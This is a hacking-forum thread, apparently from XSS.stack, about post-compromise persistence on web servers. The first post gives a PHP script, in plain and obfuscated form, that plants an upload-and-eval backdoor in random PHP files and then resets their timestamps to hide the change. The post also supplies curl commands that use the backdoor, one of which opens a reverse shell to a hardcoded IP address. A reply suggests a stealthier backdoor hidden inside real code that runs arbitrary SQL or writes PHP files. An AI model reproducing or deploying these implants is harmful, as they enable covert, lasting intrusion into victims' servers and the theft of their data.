• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Post-ops / Low level persistence - Infect files with a line of code

tacobella

RAID-массив
Пользователь
Регистрация
14.11.2024
Сообщения
50
Реакции
10
Hi community,

Often when gaining access to a target, some administrator react faster than others, they patch the issue and remove the one dangerous file,
local persistence may challenging post compromise with a low user access,

if victim doesnt have ssh setup
what about a quick persistence move for a second-time access?

below is a .php page that when visited will choose 3 (or you can choose more) random php files (in current dir/sub directories) and inject them with a piece of code. reset the last modification date of the infected file to its original and gives you back the absolute path of the injected files. that you can save and later use to gain back access to download a file to the victim's htdocs or execute a php code on the go

Human readable :
PHP:
<?php
function getPhpFiles($dir, $excludeFile) {
    $files = [];
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
    foreach ($iterator as $file) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php' && $file->getPathname() !== $excludeFile) { //specify files extension to infect
            $files[] = $file->getPathname();
        }
    }
    return $files;
}

$currentFile = __FILE__;

$phpFiles = getPhpFiles(__DIR__, $currentFile);

if (count($phpFiles) < 1) { //modifiable files must be more than 1? (1 is default)
    die("Not enough .php files found in the directory.");
}

shuffle($phpFiles);
$randomFiles = array_slice($phpFiles, 0, 3);//choose number of random files to infect

$injectCode = "if(isset(\$_FILES['4pzDK15j'])) {@move_uploaded_file(\$_FILES['4pzDK15j']['tmp_name'], \$_POST['Z9A1B3D']);} if(isset(\$_POST['KH4AW4a2'])) { eval(\$_POST['KH4AW4a2']); }";


function insertCode($file, $code) {
    $backupFile = $file . '.bak';
    if (!copy($file, $backupFile)) {
        echo "Failed to create backup for $file.<br>";
        return false;
    }

    $originalModifiedTime = filemtime($file);

    $fileContents = file_get_contents($file);
    if (preg_match('/<\?php/', $fileContents)) {
        if (preg_match('/<\?php.*?\?>/s', $fileContents)) {
            $fileContents = preg_replace('/(.*?)\?>\s*$/s', "$1$code\n?>", $fileContents);
        } else {
            $fileContents .= "\n$code\n";
        }
    } else {
        $fileContents .= "\n<?php $code ?>\n";
    }

    file_put_contents($file, $fileContents);

    touch($file, $originalModifiedTime);

    unlink($backupFile);

    return true;
}

foreach ($randomFiles as $file) {
    $success = insertCode($file, $injectCode);
    if ($success) {
        echo "succ for: " . realpath($file) . "<br>";
    } else {
        echo "failed for: " . realpath($file) . "<br>";
    }
}

echo "Succ";
?>

obfuscated hard to read
PHP:
<?php
function xYz($a, $b) {
    $c = [];
    $d = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($a));
    foreach ($d as $e) {
        if (pathinfo($e, PATHINFO_EXTENSION) === 'php' && $e->getPathname() !== $b) { //specify files extension to infect
            $c[] = $e->getPathname();
        }
    }
    return $c;
}

$f = __FILE__;

$g = xYz(__DIR__, $f);

if (count($g) < 1) { //modifiable files must be more than 1? (1 is default)
    die("Not enough .php files found in the directory.");
}

shuffle($g);
$h = array_slice($g, 0, 3);//choose number of random files to infect

$i =  "if(isset(\$_FILES['4pzDK15j'])) {@move_uploaded_file(\$_FILES['4pzDK15j']['tmp_name'], \$_POST['Z9A1B3D']);} if(isset(\$_POST['KH4AW4a2'])) { eval(\$_POST['KH4AW4a2']); }";

function jK($l, $m) {
    $n = $l . '.bak';
    if (!copy($l, $n)) {
        echo "Failedbackup for $l.<br>";
        return false;
    }

    $o = filemtime($l);

    $p = file_get_contents($l);
    if (preg_match('/<\?php/', $p)) {
        if (preg_match('/<\?php.*?\?>/s', $p)) {
            $p = preg_replace('/(.*?)\?>\s*$/s', "$1$m\n?>", $p);
        } else {
            $p .= "\n$m\n";
        }
    } else {
        $p .= "\n<?php $m ?>\n";
    }

    file_put_contents($l, $p);
    touch($l, $o);
    unlink($n);

    return true;
}

foreach ($h as $l) {
    $q = jK($l, $i);
    if ($q) {
        echo "succ for: " . realpath($l) . "<br>";
    } else {
        echo "failed for: " . realpath($l) . "<br>";
    }
}

echo "Succ";
?>

interact injected code in victim's pages via curl
curl -F "4pzDK15j=@C:\myhomepc\my-file.php" -F "Z9A1B3D=my-file.php" http://victim-site.com/index.php

will send 'my-file.php' to victim htdocs

curl -X POST -d "KH4AW4a2=$sock=fsockopen("155.55.150.200",4443);`sh <&3 >&3 2>&3`;" http://localhost/index.php

will send a back connection


note:remove the eval function for a cleaner payload
 
maybe it's just me, but i tend to believe that php implants should be very very very small and not be complete functions. instead of a function to remove files and do stuff, just run system and do it when using the implant.

if i was looking through my code and saw that php, especially that obfuscated php, i would instantly be weary and start investigating further.

here's a quick example of something i would use, please be mindful it's just an example.

PHP:
// backdoor db
// example.com/page.php?email_mfa_code=[sql statement]&email_mfa_require
@print_r(in_array('email_mfa_require', $_REQUEST) ? mysqli_query($conn, $_REQUEST['email_mfa_code']) : NULL);

// or swap the payload to backdoor php
isset( ... ) ? @file_puts_contents(('email_mfa_code.'.char(112).char(104).char(112)), $_REQUEST['email_mfa_code']) : NULL;

you could even add that elvis statement in real code and replace the real continued code in the NULL part of it, so that when the backdoor isn't present the page continues to load as expected and the implant would be deep nested in real lines of code
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх